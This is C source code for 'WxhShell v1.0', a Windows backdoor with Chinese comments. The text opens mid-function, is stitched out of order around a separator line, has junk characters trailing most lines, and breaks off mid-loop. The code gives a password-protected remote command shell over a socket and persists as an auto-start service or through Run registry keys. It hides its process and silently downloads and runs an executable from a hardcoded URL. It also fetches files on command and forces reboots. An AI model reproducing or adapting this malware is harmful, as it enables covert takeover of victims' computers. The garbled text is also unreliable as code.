    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #2h+dk$1  
    if(Boot(SHUTDOWN)) Hl4\M]]/&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ddo ST``G  
    else { M(qxq(#{U  
    closesocket(wsh); PKi_Zh.D  
    ExitThread(0); GtF2@\  
    } Z`rK\Bc  
    break; >4,{6<|  
    } %PzQ\c  
  // 获取shell vKU`C?,L  
  case 's': { :bwM]k*$  
    CmdShell(wsh); =g@R%NDNV  
    closesocket(wsh); zu52 p4  
    ExitThread(0); CE{z-_{ ^  
    break; Y5HfN[u^7  
  } 5d+<EF+N  
  // 退出 4_tR9w"  
  case 'x': { g]za"U|g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0Qm"n6NQ  
    CloseIt(wsh); K>kLUcC7Z  
    break; _WKJ<dB<  
    } !/947Rn  
  // 离开 DMB"Y,  
  case 'q': { C*7!dW6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .AXdo'&2i  
    closesocket(wsh); [(1O"  
    WSACleanup(); UV4u.7y  
    exit(1); kGm:VYf%  
    break; ;;@IfZ ?j  
        } l<TIG3 bs  
  } K'NcTw#f  
  } aM), M]m[  
VMx%1^/(  
  // 提示信息 i`+B4I8[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gfv(w=rr?  
} On4w/L9L5  
  } \k;U}Te<  
k5a\Sq}  
  return; &Cq{ _M  
} .!i0_Rv5x  
;+ G9-  
// shell模块句柄 ^ |aNG`|O  
int CmdShell(SOCKET sock) @44P4?;  
{ 4b4QbJ$  
STARTUPINFO si; aM$\#Cx  
ZeroMemory(&si,sizeof(si)); eaQ90B4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f/ajejYo?,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AliRpxxd  
PROCESS_INFORMATION ProcessInfo; ~n6[$WjZA  
char cmdline[]="cmd"; ;-Ss# &  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1~'_K9eE  
  return 0; |q_ !. a  
} =2,0Wo]$  
W<NmsG})_g  
// 自身启动模式 .B>B`q;B  
int StartFromService(void) %,|ztH/ Q  
{ t^.'>RwW|  
typedef struct )Pli})   
{ M-Y0xWs  
  DWORD ExitStatus; &8sV o@Pa  
  DWORD PebBaseAddress; k(vPg,X>m  
  DWORD AffinityMask; Zm(dY*z5:J  
  DWORD BasePriority; &EovZ@u  
  ULONG UniqueProcessId; Fd7*]a  
  ULONG InheritedFromUniqueProcessId; G AQ 'Ti1!  
}   PROCESS_BASIC_INFORMATION; 8.?E[~  
, H2YpZk  
PROCNTQSIP NtQueryInformationProcess; ANMYX18M  
2J<&rKCF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9cQ_mgch  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G;TsMq  
$}R$t-  
  HANDLE             hProcess; YsP/p-  
  PROCESS_BASIC_INFORMATION pbi; !8*McO I  
Q2/.6O8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~F w<eY  
  if(NULL == hInst ) return 0; ]TSg!H  
m_* R.a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .#fPw_i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :[sOKV i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K;U39ofW  
kX[fy7rVt  
  if (!NtQueryInformationProcess) return 0; We}lx{E  
Z^zbWFO]5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m&IsDAn  
  if(!hProcess) return 0; %M&3VQ9w  
aq Mc6N`z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t)N;'v  &  
X \f[  
  CloseHandle(hProcess); @u) 'yS  
B8m_'!;;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H{V)g  
if(hProcess==NULL) return 0; VXm[-  
(ZP87Gz  
HMODULE hMod; 8~ #M{}  
char procName[255]; uLN[*D  
unsigned long cbNeeded; _8><| 3d  
)NT5yF,m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n.hElgkUOr  
59*M"1['Q  
  CloseHandle(hProcess); KrKu7]If6#  
;;V\"7q'  
if(strstr(procName,"services")) return 1; // 以服务启动 0 mexF@  
'{ f=hE_/  
  return 0; // 注册表启动 S #8 >ZwQ  
} F9H~k"_ZJR  
:gI.l1  
// 主模块 a3@w|KLt  
int StartWxhshell(LPSTR lpCmdLine) lj2=._@R  
{ tNnyue{p  
  SOCKET wsl; !e3YnlE  
BOOL val=TRUE; u+D[_yd^  
  int port=0; x*}bo))hb  
  struct sockaddr_in door; }!)F9r@\  
8]< f$3.  
  if(wscfg.ws_autoins) Install(); [VSU"AJY  
EO)%UrWnC  
port=atoi(lpCmdLine); +.Bmkim  
iOqk*EL_r\  
if(port<=0) port=wscfg.ws_port; 7Kf}O6nE  
(~s|=Hxq|-  
  WSADATA data; f9TV%fG?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cca0](R*&  
8o-bd_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _:J*Cm[q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?Zz'|.l@  
  door.sin_family = AF_INET; [@"wd_f{l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Owf.f;QR  
  door.sin_port = htons(port); c ~F dx  
naNyGE7)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TJy4<rb  
closesocket(wsl); }$g mK  
return 1; M>l^%`  
} N.j "S'(i  
|(% u}V?  
  if(listen(wsl,2) == INVALID_SOCKET) { Zzj0\? Ul  
closesocket(wsl); `v nJ4*  
return 1; wW`}VKu  
} A6UO0lyu  
  Wxhshell(wsl); uDayBaR  
  WSACleanup(); oRq!=eUu_  
!/I0i8T  
return 0; RT*5d;l0  
>V;,#5F_  
} qv+R:YYOq  
Bjj<\8 ^M  
// 以NT服务方式启动 UUtbD&\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <I=$ry6 8  
{ P7GRSjG  
DWORD   status = 0; -_8*41  
  DWORD   specificError = 0xfffffff; ?o[L7JI  
lDc;__}Ws  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =_pwA:z"A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r;qzo .  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rwqv V ^  
  serviceStatus.dwWin32ExitCode     = 0; 4]XI"-M^D  
  serviceStatus.dwServiceSpecificExitCode = 0; :q+N&j'3  
  serviceStatus.dwCheckPoint       = 0; >a>fb|r  
  serviceStatus.dwWaitHint       = 0; #y; yN7W  
BW Uq%o,@g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G'#41>q+  
  if (hServiceStatusHandle==0) return; vRhnX  
Hs?zq  
status = GetLastError(); F^kwdS  
  if (status!=NO_ERROR) G<qIY&D'  
{  6sxz_f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wu~hqd  
    serviceStatus.dwCheckPoint       = 0; U/w.M_S  
    serviceStatus.dwWaitHint       = 0; O\beKBT;  
    serviceStatus.dwWin32ExitCode     = status; 'ks{D(`  
    serviceStatus.dwServiceSpecificExitCode = specificError; HKmcQM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0[a}n6X Tk  
    return; P-Su5F  
  } 2x} 6\t  
/c-nE3+rn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (> "QVxr  
  serviceStatus.dwCheckPoint       = 0; ^toAw8A=@0  
  serviceStatus.dwWaitHint       = 0; :FQ1[X1 xm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XZph%j0o  
} %c/^_.  
%:u[MBe,  
// 处理NT服务事件,比如:启动、停止 )]Ti>RO7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s#-eN)1R  
{ HW_& !ye  
switch(fdwControl) VOgi7\  
{ OtUr GQP  
case SERVICE_CONTROL_STOP: (M t5P  
  serviceStatus.dwWin32ExitCode = 0; r%=[},JQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LAs7>hM  
  serviceStatus.dwCheckPoint   = 0; E5G{B'%j  
  serviceStatus.dwWaitHint     = 0; VWf %v  
  { /iM$Tb5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YUkud2,j  
  } @h9MxCE!  
  return; Of7 +/UV  
case SERVICE_CONTROL_PAUSE: 4zc<GL3[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 45+{nN[  
  break; @h?crJ6$  
case SERVICE_CONTROL_CONTINUE: &a)vdlZSE=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ok H\^  
  break; grcbH  
case SERVICE_CONTROL_INTERROGATE: >SI<rR[~%  
  break; JWHS nu!  
}; r|R7- HI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :#X[%"g.  
} <+]f`c*Z  
q&si%  
// 标准应用程序主函数 _PXdzeI.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3fkk [U  
{ FLr ;`3  
_N#&psQzw  
// 获取操作系统版本 Dgi~rr1`'s  
OsIsNt=GetOsVer(); #}yTDBt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8 %Sb+w07  
Y& {|Sw7?  
  // 从命令行安装 ,E*R,'w   
  if(strpbrk(lpCmdLine,"iI")) Install(); T{Zwm!s  
v%91k  
  // 下载执行文件 B@K[3  
if(wscfg.ws_downexe) { (Wj2?k/]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -G`.y?  
  WinExec(wscfg.ws_filenam,SW_HIDE); Dz&+PES_k  
} jPJAWXB4a  
Fwfo2   
if(!OsIsNt) { k*$3i  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z[L5 ;  
HideProc(); H5xzD9K;/C  
StartWxhshell(lpCmdLine); i@$*Csj\9*  
} _" N\b%CkO  
else !`wW_W  
  if(StartFromService()) *e4TSqC|  
  // 以服务方式启动 r/r:oXK  
  StartServiceCtrlDispatcher(DispatchTable); S%6U~@hig  
else *"9<TSU%m  
  // 普通方式启动 _%pAlo_6  
  StartWxhshell(lpCmdLine); 4<v;1   
u<Xog$esu  
return 0; H~fdbR  
} FjKq%.=#  
(xT*LF+  
VXKT\9g3A  
>L>+2z  
=========================================== D3]BTkMMS;  
[xaisXvI4  
L\  j:  
f(Hu {c5yV  
j}WByaZ&  
h4`9Cfrq,  
" tYe:z:7l?<  
!]b@RUU  
#include <stdio.h> L* |1/  
#include <string.h> NPJ.+ph  
#include <windows.h> (6qsKX  
#include <winsock2.h> 49h0^;xlo:  
#include <winsvc.h> ef]B9J~h  
#include <urlmon.h> w6zB Vi  
?U9/fl  
#pragma comment (lib, "Ws2_32.lib") ?[= U%sPu=  
#pragma comment (lib, "urlmon.lib") ;u!?QSvb  
r0\f;q  
#define MAX_USER   100 // 最大客户端连接数 Es8#]'Rk  
#define BUF_SOCK   200 // sock buffer ok0X<MR!I  
#define KEY_BUFF   255 // 输入 buffer 8T5k-HwE  
%a 8&W  
#define REBOOT     0   // 重启 #Z9L_gDp  
#define SHUTDOWN   1   // 关机 Ap<J'?~y  
n[" 9|  
#define DEF_PORT   5000 // 监听端口 []}N  
Cvn$]bt/s  
#define REG_LEN     16   // 注册表键长度 2p< Aj!  
#define SVC_LEN     80   // NT服务名长度 ?2`$3[ET-  
aiux^V  
// 从dll定义API l)|lTOjb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >&K!VQ{g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5h^[^*A?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ti_u!kNv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bkv/I{C>?  
\ TL82H@D  
// wxhshell配置信息 .Ff_s  
struct WSCFG { 1f//wk|  
  int ws_port;         // 监听端口 8wFn}lw&  
  char ws_passstr[REG_LEN]; // 口令 P6Xp<^%E  
  int ws_autoins;       // 安装标记, 1=yes 0=no w|Qd`  
  char ws_regname[REG_LEN]; // 注册表键名 S+T|a:]\7  
  char ws_svcname[REG_LEN]; // 服务名 Gp|JU Fo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q=0 pQ1>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %z)EO9vtr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J$[Q?8 ka  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E(Gr0#8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eyB_l.U7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F(4yS2h(  
rsxRk7s@  
}; z7=fDe -  
=5s$qb?#  
// default Wxhshell configuration 0dt"ZSm  
struct WSCFG wscfg={DEF_PORT, J/kH%_ >Ir  
    "xuhuanlingzhe", dR[o|r  
    1, ^k72{ 3N(  
    "Wxhshell", "c Pz|~  
    "Wxhshell", QJXdb]Y^;  
            "WxhShell Service", 8/q*o>[?  
    "Wrsky Windows CmdShell Service", O@,i1ha%  
    "Please Input Your Password: ", YFvgz.>QE  
  1, Z_itu73I  
  "http://www.wrsky.com/wxhshell.exe", wn84?$BGd  
  "Wxhshell.exe" e,Zv]Cym  
    }; v5 Y)al@  
'NjSu64W  
// 消息定义模块 rPTfpeqN)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0yQe5i}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g i4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yq6LH   
char *msg_ws_ext="\n\rExit."; ETelbj;0  
char *msg_ws_end="\n\rQuit."; Oz>io\P94  
char *msg_ws_boot="\n\rReboot..."; ^!uO(B&  
char *msg_ws_poff="\n\rShutdown..."; 2"M_sL  
char *msg_ws_down="\n\rSave to "; .^H1\p];Lw  
0/Q5d,'Y[2  
char *msg_ws_err="\n\rErr!"; 'j#a%j@{  
char *msg_ws_ok="\n\rOK!"; [V5-%w^  
CWMlZ VG  
char ExeFile[MAX_PATH]; ~@fanR =  
int nUser = 0; OqEHM%j  
HANDLE handles[MAX_USER]; RKk"  
int OsIsNt; &kx\W)  
.tp=T  
SERVICE_STATUS       serviceStatus; 7}07Pit  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sip_~]hM  
NDo^B7 R-  
// 函数声明 -W^2*w   
int Install(void); %zQ2:iT5@=  
int Uninstall(void); 8A_TIyh?  
int DownloadFile(char *sURL, SOCKET wsh); 2'dG7lLu4  
int Boot(int flag); K#)bjxz  
void HideProc(void); k4mTZ}6E  
int GetOsVer(void); _z%\'(l+  
int Wxhshell(SOCKET wsl); rgn|24x  
void TalkWithClient(void *cs); {~1M  
int CmdShell(SOCKET sock); ? ,V;f2c  
int StartFromService(void); V*uEJ6T  
int StartWxhshell(LPSTR lpCmdLine); ee\Gl?VN  
_w%s(dzk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I,9~*^$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @`2ozi~lO  
] - h|]  
// 数据结构和表定义 c}\ d5R_L  
SERVICE_TABLE_ENTRY DispatchTable[] = -;S3|  
{ F]SIT\kBm  
{wscfg.ws_svcname, NTServiceMain}, 4^BLSK~(  
{NULL, NULL} %Fm`Y .l  
}; `#<eA*^g5  
0k7"H]J  
// 自我安装 J\GKqt;5@  
int Install(void) U%Ol^xl  
{ c0hdLl;5  
  char svExeFile[MAX_PATH]; JrxP,[qJG  
  HKEY key; N$ *>suQ,  
  strcpy(svExeFile,ExeFile); GiFf0c 9  
6(sfpK'  
// 如果是win9x系统,修改注册表设为自启动 ugRV5bUk  
if(!OsIsNt) { KZ @l/s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nu(eLUU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K1 6s)S'  
  RegCloseKey(key); n('VQ0b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;<~j)8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m9cj7  
  RegCloseKey(key); ;pCG9  
  return 0; rcW#6VZ=  
    } .Btv}b  
  } "rf\' 9=  
} GMyoSe%1/  
else { {AtfK>D  
m(h/:JZ\  
// 如果是NT以上系统,安装为系统服务 B=^2g}mgK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z#[>N,P  
if (schSCManager!=0) B1HQz@^  
{ ),)Q{~&`  
  SC_HANDLE schService = CreateService { <~s&EPd  
  ( W *|OOa'  
  schSCManager, Je@p5(f  
  wscfg.ws_svcname, BD?F`%-x  
  wscfg.ws_svcdisp, J$<:/^t  
  SERVICE_ALL_ACCESS, ,at-ci\'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <"{+  
  SERVICE_AUTO_START, =7H.F:BBG  
  SERVICE_ERROR_NORMAL, 64;oB_  
  svExeFile, }% FDm@+  
  NULL, bmSpbX\  
  NULL, }.w#X   
  NULL, >n#g9vK  
  NULL, FC~|&  
  NULL 18J.vcP  
  ); 2>`m<&y  
  if (schService!=0) ^glbxbhI4  
  { 1h& )I%`?  
  CloseServiceHandle(schService); )m oo?Q  
  CloseServiceHandle(schSCManager); Py}!C@e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M55e=  
  strcat(svExeFile,wscfg.ws_svcname); nqUH6(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B/:>{2cm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~7KynE  
  RegCloseKey(key); -aTg>Q|g&  
  return 0; a  [0N,t  
    } \>w@=bq26  
  } #a/n5c&6/  
  CloseServiceHandle(schSCManager); G >I.  
} s}z(|I rH  
} B6^w{eXN  
%kaTQ"PB  
return 1; x Q@&W;  
} p]X!g  
4Q &Xb <  
// 自我卸载 <x.]OZgO  
int Uninstall(void) EXv\FUzo  
{ Cj`pw2.  
  HKEY key; qYQUr8{  
xF2f/y   
if(!OsIsNt) { N}eU.#L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y*h`),  
  RegDeleteValue(key,wscfg.ws_regname); c4FOfH|  
  RegCloseKey(key); :XNK-A W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6C@0[Q\ER  
  RegDeleteValue(key,wscfg.ws_regname); 4Xa.r6T_N=  
  RegCloseKey(key); @#G6z`,  
  return 0; '33Yl+h  
  } kG_&-b  
} e2,<,~_K6  
} \emT:Frb  
else { ?Xy w<fMQ  
oxxE'cx{g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :*^(OnIe  
if (schSCManager!=0) i2`.#YJ&v  
{ R.^Bxi-UG:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P\Pc/[ Z7  
  if (schService!=0) b tr x?k(  
  { 1o"y%*"  
  if(DeleteService(schService)!=0) { N9fUlXhR  
  CloseServiceHandle(schService); QySca(1tN  
  CloseServiceHandle(schSCManager); )x9nED{  
  return 0; n0 fF,?gm  
  } t*ri`}a{v  
  CloseServiceHandle(schService); |hZ|+7  
  } ;[;S_|vZ=)  
  CloseServiceHandle(schSCManager); Q_UCF'f;}  
} x);?jxd  
} 61t-  
q70YNk}  
return 1; u0(hVK`":  
} Q>#)LHX  
Yg]FF`{p=  
// 从指定url下载文件 )dzjz%B)  
int DownloadFile(char *sURL, SOCKET wsh) HfZ (U5~  
{ J~nJpUyP*  
  HRESULT hr; $! fz~  
char seps[]= "/"; iq[2H$  
char *token; o} bj!h]N  
char *file; #I*ht0++  
char myURL[MAX_PATH]; 7csl1|U  
char myFILE[MAX_PATH]; /3"e3{u y  
7,&3=R <  
strcpy(myURL,sURL); z}Mb4{d1  
  token=strtok(myURL,seps); '/ ]fZ|  
  while(token!=NULL) 4)c"@Zf  
  { PgGrk5;  
    file=token; e!L sc3@  
  token=strtok(NULL,seps); )PLc+J.I  
  } l[x`*+ON:2  
iNaC ZC  
GetCurrentDirectory(MAX_PATH,myFILE); %WXVfkD  
strcat(myFILE, "\\"); AQ_#uxI'oa  
strcat(myFILE, file); !W6    
  send(wsh,myFILE,strlen(myFILE),0); hP6fTZ=Ln  
send(wsh,"...",3,0); Yg:74; .  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }f0^9(  
  if(hr==S_OK) b;t}7.V'%  
return 0; gE]a*TOZk  
else FB^dp}  
return 1; {0m[:af&  
E<fwl1<88  
} n"Z,-./m  
N5I W@?4  
// 系统电源模块 B@~eBU,$  
int Boot(int flag) njx\$,ruN  
{ O#89M%  
  HANDLE hToken; VN55!l'OV  
  TOKEN_PRIVILEGES tkp; rg]A_(3Bb  
II f >z_m  
  if(OsIsNt) { ]#Z$jq{,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nk?xNe4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `h%D\EKeB  
    tkp.PrivilegeCount = 1; /=O+/)l`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mc[_> [m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UmHJ/DI@  
if(flag==REBOOT) { @,f,tk=\S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J*W;{Vty  
  return 0; ;7hX0AK  
} hdNZ":1s  
else { bI6V &Dd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \T#(rt\j  
  return 0; nms<6kfzL  
} p~{%f#V  
  } 2 3XAkpzp$  
  else { B?zS_Ue  
if(flag==REBOOT) { kgI.kT(=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GE|^ryh  
  return 0; 2%No>w}/2  
} ]nr BmKB  
else { t$kf'An}/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z ysUz  
  return 0; 2 ShlYW@~  
} '-1jWw:8  
} <45dy5!Tz  
2K7:gd8Ru  
return 1; H]n0JG9K  
} vpr @  
OuJ y$e  
// win9x进程隐藏模块  "%@=?X8  
void HideProc(void) e+=G-u5}-  
{ RBp(dKxM$w  
-<HvhW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uu46'aT  
  if ( hKernel != NULL ) yl]Cm?8  
  { Ss#{K;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JqV<A3i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J*4_|j;Z-E  
    FreeLibrary(hKernel); \crb&EgID  
  } 0:(dl@I)@  
a(t<eN>b!  
return; sOtNd({  
} 6W#F Ss~  
tFP;CW!E  
// 获取操作系统版本 di P4]/%1  
int GetOsVer(void) /JY ph^3][  
{ ^eT>R,aB  
  OSVERSIONINFO winfo; ,Z\,IRn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4lo}-@j  
  GetVersionEx(&winfo); >j~70 ?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,IX4Zo"a  
  return 1; sT T455h)  
  else LYo7?rp  
  return 0; oDiv9 jm  
} lNp:2P  
kQiW5  
// 客户端句柄模块 ^=M(K''  
int Wxhshell(SOCKET wsl) \(7#N<-  
{ g&(~MD2{  
  SOCKET wsh; ]KPg=@Q/  
  struct sockaddr_in client; KVe'2Q<  
  DWORD myID; cLk+( dn  
Tee3U%Y  
  while(nUser<MAX_USER) sf&K<C](  
{ lNnbd?D8  
  int nSize=sizeof(client); .Im+()b&&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u KdX4  
  if(wsh==INVALID_SOCKET) return 1; q9Opa2  
Fm+)mmJP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'C4Ll2  
if(handles[nUser]==0) N`GwL aF  
  closesocket(wsh); &=t(NI$  
else s*U&[7P  
  nUser++; 4!RI2?4V  
  } _A0avMD}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c!FjHlAnP  
J_br%AG<p  
  return 0; H;8]GE2n  
} ^RDXX+  
42[:s:  
// 关闭 socket -Ce4px?3  
void CloseIt(SOCKET wsh) @z?.P;f9#  
{ @x>2|`65Y  
closesocket(wsh); c15^<6]g  
nUser--; ialk6i![  
ExitThread(0); ,]N%(>ot  
} >knR>96  
hl~F1"q )  
// 客户端请求句柄 `-`iS?  
void TalkWithClient(void *cs) i(;u6Rk  
{ |>V>6%>vK6  
'r <BaL  
  SOCKET wsh=(SOCKET)cs; ZpBH;{.,  
  char pwd[SVC_LEN]; !oRm.c O  
  char cmd[KEY_BUFF]; D`ge3f8Wi  
char chr[1]; =ZL}Av}  
int i,j; . zMM86c  
7I3CPc$  
  while (nUser < MAX_USER) { xE[tD? M{  
)/^$JYz  
if(wscfg.ws_passstr) { &x5ZEe4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'aWZ#GS*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oYM3$.{E  
  //ZeroMemory(pwd,KEY_BUFF); oD2;Tdk  
      i=0; \ } Szb2  
  while(i<SVC_LEN) { 85~h+Q;  
rNO;yL4)ey  
  // 设置超时 8"rX;5 vP  
  fd_set FdRead;  jmNj#R@t  
  struct timeval TimeOut;  F}4 0  
  FD_ZERO(&FdRead); 'a[|}nJ3  
  FD_SET(wsh,&FdRead); c324@o^V  
  TimeOut.tv_sec=8; QQ8W;x  
  TimeOut.tv_usec=0; #IwB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /Day5\Q#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {j@)sDM X  
?b$zuJ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZKL%rp_  
  pwd=chr[0]; NUtyUv  
  if(chr[0]==0xd || chr[0]==0xa) { ~n 9DG>a  
  pwd=0; \+A<s,x  
  break; JNl+UH:.  
  } 1/BMs0 =  
  i++; nU *fne?  
    } UL"3skV   
]997`,1b  
  // 如果是非法用户,关闭 socket K9Fnb6J$u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m?`Rl6!@8\  
} ea+rjvm  
QYGxr+D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *s4!;2ZhsU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mf'1.{  
Jjq%cA  
while(1) { I]$d,N!.  
z Pc;[uHT  
  ZeroMemory(cmd,KEY_BUFF); .AW*7Pp`f  
9Q1GV>j>B  
      // 自动支持客户端 telnet标准   MF(~!SOIG  
  j=0; 3%a37/|~y  
  while(j<KEY_BUFF) { :.Sc[UI0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kl9z;(6p  
  cmd[j]=chr[0]; P9^h>sV  
  if(chr[0]==0xa || chr[0]==0xd) { =*U24B*U93  
  cmd[j]=0; @>j \~<%  
  break; K),wAZI!7j  
  } xxn&{\ ?  
  j++; g_X7@Dt  
    } h)`vc#"65k  
dfcG'+RU}  
  // 下载文件 #^V"=RbD  
  if(strstr(cmd,"http://")) { }('' |z#UE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \ChcJth@o<  
  if(DownloadFile(cmd,wsh))  Nf'9]I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q1[s{,  
  else ?O ?~|nI  
